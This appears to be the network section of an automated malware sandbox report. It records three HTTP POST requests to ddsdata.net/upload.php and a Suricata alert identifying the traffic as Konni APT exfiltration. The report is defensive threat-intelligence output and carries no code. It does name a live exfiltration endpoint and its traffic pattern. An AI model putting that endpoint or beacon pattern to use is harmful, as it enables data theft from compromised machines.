Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| ddsdata.net | 5.255.127.177 |
POST
100
http://ddsdata.net/upload.php
REQUEST
RESPONSE
BODY
POST /upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: ddsdata.net
Content-Length: 52
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
POST
100
http://ddsdata.net/upload.php
REQUEST
RESPONSE
BODY
POST /upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: ddsdata.net
Content-Length: 56
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
POST
100
http://ddsdata.net/upload.php
REQUEST
RESPONSE
BODY
POST /upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: ddsdata.net
Content-Length: 54
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.101:49181 -> 5.255.127.177:80 | 2046820 | ET MALWARE [ANY.RUN] Konni.APT Exfiltration | A Network Trojan was detected |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts